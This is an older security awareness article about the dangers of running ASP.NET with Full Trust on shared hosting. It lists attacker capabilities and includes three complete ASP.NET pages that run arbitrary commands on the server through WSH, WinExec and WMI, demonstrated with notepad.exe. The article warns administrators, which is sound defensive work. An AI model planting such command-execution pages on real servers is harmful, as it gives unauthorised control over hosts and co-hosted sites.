ASP.NET's Hidden Dangers
ASP.NET is a powerful development platform and, compared to ASP Classic, it is a giant leap forward.
But, this extra power also brings new dangers. In ASP Classic, the damage caused by malicious code running on the server was somehow limited by the built-in limitations of the ASP Classic object model. In ASP.NET, due to the number of classes exposed by the .NET framework, malicious code has the potential to be much more damaging and dangerous.
Where Does the Malicious Code Come From?
The scenario that I describe in this article is one where a malicious user is able to execute ASP.NET scripts on your server, under a normal Web site application, configured to execute code with Full Trust.
Some examples of such scenarios include:
- ISPs providing shared Hosting services
- Companies that delegated Web page creation and editing (maybe even entire sub-sections of the main Web site) to internal staff
- Universities that allow teachers to maintain their course information using FrontPage (each course is stored in a unique SubWeb)
- Web development companies that host their client Web sites in their servers
Due to the limitations created by Partially Trusted environments in the current version of the .NET Framework, practically everybody is running their applications with Full Trust.
Full Trust Behaves like COM Objects
If you have been involved in developing COM objects for ASP Classic, you know how powerful they are. A COM object running IIS 5.0 will have access to huge sections of the Windows API (even if running with a low-privileged account).
That is why most ISPs and System Administrators would never allow the installation of third-party (in other words, created by you) COM objects in their servers. They would argue that the objects had high security risks and would reject such requests.
What you might not be aware of is that, due to the objects exposed by the .NET framework, any ASP.NET page behaves like a COM object and (if being executed in a Full Trust environment) will have direct access to the Windows API and several Internal Windows management tools such as WMI, ADSI, and LDAP.
Security Implications
Although most issues identified in this article are 'features' and not 'vulnerabilities,' from a security point of view they create threats that could be exploited by malicious users.
Some examples of what can be done from an ASP.NET page follow:
- Upload programs (executables) to the server
- Execute programs on the server using WSH (Windows Script Host), WinExec (direct Win32 API call), or WMI (Windows Management Instrumentation)
- Call the RevertToSelf() API function, which will revert the identity of the worker process from the assigned one to the one defined in the Application pool used (in IIS 6.0)
- Retrieve the IIS Anonymous' account details (usernames and passwords) from the Metabase
- List the server's Usernames, running Processes, installed Services, existent Drives, and Shares
- Use Reflection to bind (load and execute) PRIVATE .NET framework methods (basically every single class, public or private, that exists in the .NET framework can be executed)
- Use Reflection to open (read) and bind (load and execute) assemblies from other co-hosted Web sites
- Browse other co-hosted websites folders and read its files
- Implement a server-based port scanner
- Retrieve the Application and System Event logs
- Run server-side Brute Force password attacks
- Crash the server (Denial of Service attacks)
- Etc, etc, etc....
With the power of the .NET framework, a malicious user is more limited by his imagination and programming skills than he/she is by ASP.NET (unless the sever is securely configured, which will remove some of these attack vectors).
Remote Execution of Commands on the Server
To give you an example, I will show you several methods to execute programs on the server:
- WSH (Windows Script Host)
- WinExec (direct Win32 API call)
- WMI (Windows Management Instrumentation)
The examples provided are written in VB and the code should be self-explanatory. In future articles, I will provide more examples of what can be done with direct Win32 API functions and WMI.
These little examples will execute "Notepad.exe" on the server (confirm by checking the server's "Task Manager"). Of course, a malicious user would execute something a little bit more damaging.
WSH (Windows Script Host)
Create a file called "runCommandUsingWSH.aspx" with the following code:
<%@ Page Language="VB" aspcompat=true %>
<%
runCommand("notepad.exe")
%>
<script runat=server>
Public sub runCommand(commandToExecute)
Dim objWSH = server.createObject("WSCRIPT.SHELL")
objWSH.run (commandToExecute,0,True)
End sub
</script>
WinExec (direct Win32 API call)
Create a file called "runCommandUsingWinExec.aspx" with the following code:
<%@ Page Language="VB" %>
<%
runCommand("notepad.exe")
%>
<script runat="server">
Declare Function WinExec lib "Kernel32" Alias "WinExec" _
(ByVal lpCmdLine as String, ByVal nCmdShow as Long) as Long
Public sub runCommand(commandToExecute)
Dim errReturn
errReturn = WinExec(commandToExecute,10)
End sub
</script>
WMI (Windows Management Instrumentation)
Create a file called "runCommandUsingWMI.aspx" with the following code:
<%@ Page Language="VB" %>
<%
runCommand("notepad.exe")
%>
<script runat=server>
Public sub runCommand(commandToExecute)
Dim winObj = GetObject ("winmgmts:{impersonationLevel= _
impersonate}!\\.\root\cimv2")
Dim objStartup = winObj.Get("Win32_ProcessStartup")
Dim objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 12
Dim objProcess = getObject("winmgmts:root\ _
cimv2:Win32_Process")
Dim intProcessID
Dim errReturn = objProcess.Create (commandToExecute, _
,objConfig,intProcessID)
End sub
</script>
